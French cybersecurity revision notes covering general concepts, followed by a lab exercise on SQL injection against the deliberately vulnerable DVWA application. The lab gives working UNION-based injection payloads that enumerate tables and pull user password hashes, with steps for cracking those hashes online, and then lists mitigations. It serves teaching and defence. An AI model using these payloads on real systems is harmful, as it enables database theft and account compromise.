Résumé de Cybersécurité - Révision QCM

1. Introduction à la Cybersécurité

- **Définition** : Protection des systèmes et données contre les attaques numériques.
- **Niveaux de protection** :
  - Personnel : Sauvegarder son identité, ses données et ses appareils.
  - Organisationnel : Préserver la réputation, les données et les clients.
  - Gouvernemental : Protéger la sécurité nationale, la stabilité économique et les citoyens.

---

2. Protection des Données Personnelles

- **Identité hors ligne** : Données personnelles (nom, âge, adresse) vulnérables au vol d'identité.
- **Identité en ligne** :
  - Inclut pseudonymes, comptes et interactions sur internet.
  - Limiter les informations partagées.
- **Exemples de données sensibles** :
  - **Médicales** : Dossiers de santé et données des objets connectés (ex. : montres intelligentes).
  - **Éducatives** : Qualifications, santé, comportement.
  - **Financières** : Comptes bancaires, fiches de paie, dossiers fiscaux.

---

3. Où se Trouvent Vos Données ?

- Les données partagées en ligne peuvent être :
  - Reparties sur plusieurs appareils et serveurs à travers le monde.
  - Exploitées par des tiers (ex. : réseaux sociaux, entreprises de marketing).
- **Exemples de risques** :
  - Partage involontaire par des amis.
  - Collecte via cartes de fidélité ou dispositifs connectés.
  - Exploitation par des plateformes numériques pour de la publicité ciblée.

---

4. Ce que Veulent les Hackers

- **Objectifs principaux** :
  - **Vol d'identité** : Utilisation frauduleuse pour des gains financiers ou médicaux.
  - **Accès bancaire** : Vidage de comptes, falsification de déclarations fiscales, emprunts frauduleux.
- **Autres parties intéressées** :
  - Fournisseurs d'accès internet (ISP), annonceurs, plateformes de recherche et de médias sociaux.

---

5. Données Organisationnelles

- **Types de données** :
  - **Traditionnelles** : Transactions, propriété intellectuelle, données financières.
  - **IoT et Big Data** : Données collectées par des objets connectés et traitées à grande échelle.
- **Menaces** :
  - Voleurs de données, sabotage, espionnage industriel.

---

6. Modèle de Sécurité : Le Cube de McCumber

- **Principes fondamentaux** :
  - **Confidentialité** : Prévenir les accès non autorisés (ex. : cryptage, authentification).
  - **Intégrité** : Protéger les données contre les modifications accidentelles ou intentionnelles.
  - **Disponibilité** : Assurer un accès aux données pour les utilisateurs autorisés.
- **Mesures de sécurité** :
  - Sensibilisation, technologies (pare-feu, antivirus), politiques et procédures.
- **États des données** :
  - **En traitement** : Pendant les opérations (ex. : mise à jour d'une base de données).
  - **En stockage** : Sur des dispositifs physiques ou numériques.
  - **En transmission** : Entre systèmes via des réseaux.

---

7. Breches de Sécurité

- **Exemples** :
  - **Persirai Botnet** : DDoS via des caméras IoT infectées.
  - **Equifax (2017)** : Exploitation d’une faille logicielle pour accéder aux données de millions de clients.
- **Conséquences** :
  - Dommages réputationnels, vandalisme, pertes financières, vol de propriété intellectuelle.

---

8. Prévention et Réponse

- **Actions préventives** :
  - Mettre à jour les systèmes et logiciels.
  - Sensibiliser les employés.
  - Utiliser des outils de sécurité comme les pare-feu et l’authentification multifactorielle.

- **En cas de violation** :
  - Réagir rapidement pour minimiser l’impact.
  - Informer les parties concernées et restaurer la confiance.

Résumé de Cybersécurité - Révision QCM

1. Types d'Attaquants

- **Amateurs (Script Kiddies)** :
  - Utilisent des outils préexistants pour attaquer.
  - Peu expérimentés, mais leurs actions peuvent être destructrices.
- **Hackers** :
  - **White Hat** : Testent les systèmes légalement pour améliorer la sécurité.
  - **Gray Hat** : Identifient des failles pour leur intérêt personnel ou les publient.
  - **Black Hat** : Exploitent les vulnérabilités pour des gains illégaux.
- **Hackers Organisés** :
  - Groupes structurés (cybercriminels, hacktivistes, terroristes, agents d'État).
  - Exemples : sabotage, cyberespionnage, vente de services criminels.

---

2. Menaces Internes et Externes

- **Internes** :
  - Négligence ou malveillance d'employés (ex. : USB infecté, clics sur emails malveillants).
- **Externes** :
  - Exploitation de vulnérabilités, ingénierie sociale.

---

3. Cyberwarfare

- **Définition** : Attaques entre nations pour sabotage ou espionnage.
- **Exemples** :
  - **Stuxnet** : Malware ciblant des équipements physiques.
  - Sabotage d'infrastructures (ex. : coupures de réseau électrique).
- **Objectifs** : Vol de données, déstabilisation économique, espionnage industriel.

---

4. Types de Malware

- **Spyware** : Espionnage d'activités en ligne, collecte de données sensibles.
- **Adware** : Affichage automatique de publicités.
- **Backdoors** : Accès non autorisé à distance.
- **Ransomware** : Blocage des données jusqu'au paiement d'une rançon.
- **Rootkits** : Modification des systèmes pour accès furtif.
- **Virus** : Réplication en s'attachant à des fichiers exécutables.
- **Worms** : Propagation autonome via les réseaux.
- **Symptômes de malware** :
  - Ralentissements, fichiers supprimés, processus inconnus, crashs.

5. Méthodes d'Infiltration

- **Ingénierie Sociale** :
  - **Prétexting** : Mensonges pour obtenir des données sensibles.
  - **Tailgating** : Suivi d'une personne autorisée pour accéder à une zone.
  - **Quid pro quo** : Échange d'informations contre une récompense.
- **DoS/DDoS** :
  - Saturation des systèmes par des requêtes massives.
  - **Botnets** : Réseaux d'appareils infectés utilisés pour les attaques.
- **On-Path Attacks (MitM)** :
  - Interception ou modification des communications.
  - Exemple : vol de données bancaires.
- **SEO Poisoning** : Sites malveillants poussés en tête des résultats de recherche.
- **Attaques par mot de passe** :
  - **Password spraying** : Essais de mots de passe courants sur de nombreux comptes.
  - **Brute force** : Tentatives systématiques pour deviner un mot de passe.

---

6. Vulnérabilités et Exploits

- **Vulnérabilités matérielles** :
  - **Rowhammer** : Interférence électrique entre cellules mémoire.
  - **Meltdown et Spectre** : Accès non autorisé à la mémoire des processeurs.
- **Vulnérabilités logicielles** :
  - **Buffer Overflow** : Débordement de mémoire tampon.
  - **Non-Validated Input** : Données d'entrée non vérifiées.
  - **Conditions de course** : Erreurs liées au timing d'événements.
  - **Problèmes de contrôle d'accès** : Gestion incorrecte des permissions.
- **Solutions** :
  - Mises à jour régulières, audits de sécurité.

---

7. Protection des Dispositifs et Réseaux

- **Pare-feu** : Bloque les accès non autorisés.
- **Antivirus** : Détection et suppression des logiciels malveillants.
- **Mots de passe** :
  - Complexes, uniques et régulièrement mis à jour.
  - Cryptage des données sensibles.
- **Mises à jour** :
  - Installer les correctifs pour éviter les exploits.
- **Navigation sécurisée** :
  - Activer des niveaux de sécurité élevés dans les navigateurs.

---

8. Concepts Avancés

- **Cryptojacking** : Exploitation des ressources pour miner des cryptomonnaies.
- **Blockchain et Cryptomonnaies** :
    - Transactions sécurisées via des ledgers décentralisés.
    - Anonymat relatif grâce au chiffrement.

TP1 : Injection SQL et Sécurité des Bases de Données

Introduction

Ce TP a pour objectif de démontrer comment les applications web basées sur des bases de données peuvent être vulnérables aux attaques par injection SQL. Ces vulnérabilités permettent à un attaquant d'exécuter des commandes SQL malveillantes, compromettant ainsi la sécurité des données.

Objectifs principaux :

1. Exploiter une vulnérabilité SQL sur une application web vulnérable (DVWA).
2. Rechercher et proposer des méthodes pour atténuer les attaques par injection SQL.

Partie 1 : Exploitation d'une Vulnérabilité SQL

Environnement : DVWA (Damn Vulnerable Web Application) est une application conçue pour tester les vulnérabilités en toute sécurité.

Étapes

1. Préparation

1. Accédez à l'application DVWA via l'URL : `http://10.6.6.13`.
2. Connectez-vous avec les identifiants : `admin` / `password`.
3. Dans le panneau gauche, cliquez sur **DVWA Security**, réglez le niveau de sécurité à **Low**, puis cliquez sur **Submit**.

2. Test de vulnérabilité

Saisissez dans le champ "User ID" :

```
' OR 1=1 #
```

- **Explication** : Cette commande SQL force la requête à retourner toutes les entrées en évaluant toujours la condition `1=1` comme vraie.
- **Résultat attendu** : La liste complète des utilisateurs est affichée.

3. Identifier le nombre de colonnes

Utilisez les commandes suivantes pour déterminer combien de colonnes sont utilisées dans la requête SQL :

```
1' ORDER BY 1 #
1' ORDER BY 2 #
```

```
1' ORDER BY 3 #
```

- **Explication** : La commande `ORDER BY [n]` teste la présence de la nième colonne. Lorsque la requête échoue, cela signifie que `[n]` est supérieur au nombre de colonnes disponibles.
- **Résultat attendu** : La requête échoue au-delà du dernier numéro valide.

4. Identifier la version du SGBD

Saisissez :

```
1' OR 1=1 UNION SELECT 1, VERSION() #
```

- **Explication** : La commande `UNION` permet de combiner les résultats de plusieurs requêtes. Ici, nous récupérons la version du SGBD via `VERSION()`.
- **Résultat attendu** : La version du SGBD est affichée (ex. : `MySQL 5.5.58`).

5. Récupérer le nom de la base de données

Saisissez :

```
1' OR 1=1 UNION SELECT 1, DATABASE() #
```

- **Explication** : La fonction `DATABASE()` retourne le nom de la base de données active.
- **Résultat attendu** : Le nom de la base, par exemple `dvwa`, est affiché.

6. Lister les tables

Saisissez :

```
1' OR 1=1 UNION SELECT 1, table_name FROM information_schema.tables WHERE
table_schema='dvwa' #
```

- **Explication** : La table `information_schema.tables` contient des métadonnées sur toutes les tables de la base.
- **Résultat attendu** : Liste des tables (ex. : `users`, `guestbook`).

7. Lister les colonnes de la table "users"

Saisissez :

```
1' OR 1=1 UNION SELECT 1, column_name FROM information_schema.columns WHERE
table_name='users' #
```

- **Explication** : La table `information_schema.columns` contient des métadonnées sur toutes les colonnes des tables.
- **Résultat attendu** : Liste des colonnes (ex. : `user_id`, `user`, `password`).

8. Extraire les données sensibles

Saisissez :

```
1' OR 1=1 UNION SELECT user, password FROM users #
```

- **Explication** : Cette requête récupère les noms d'utilisateur et les mots de passe hashés.
- **Résultat attendu** : Liste des utilisateurs avec leurs mots de passe hashés.

9. Casser les mots de passe

1. Copiez un hash obtenu dans la requête précédente.
2. Naviguez sur CrackStation.
3. Collez le hash et cliquez sur **Crack Hashes**.

- **Résultat attendu** : Les mots de passe en clair des utilisateurs sont affichés.

Partie 2 : Mitigation de l'Injection SQL

Méthodes de prévention

1. **Requêtes paramétrées** :
   - Utiliser des `Prepared Statements` pour éviter que les entrées utilisateur soient interprétées comme des commandes SQL.
   - Exemple :

     ```
     cursor.execute("SELECT * FROM users WHERE username = ?",
     (username,))
     ```

2. **Validation des entrées** :
   - Filtrer et valider toutes les entrées utilisateur.
   - Exemple : Refuser les caractères spéciaux dans les champs sensibles.
3. **Limitation des permissions** :
   - Restreindre les droits des utilisateurs de la base de données (ex. : interdiction de DROP ou DELETE pour les utilisateurs non privilégiés).
4. **Web Application Firewall (WAF)** :
   - Détecter et bloquer les requêtes malveillantes en temps réel.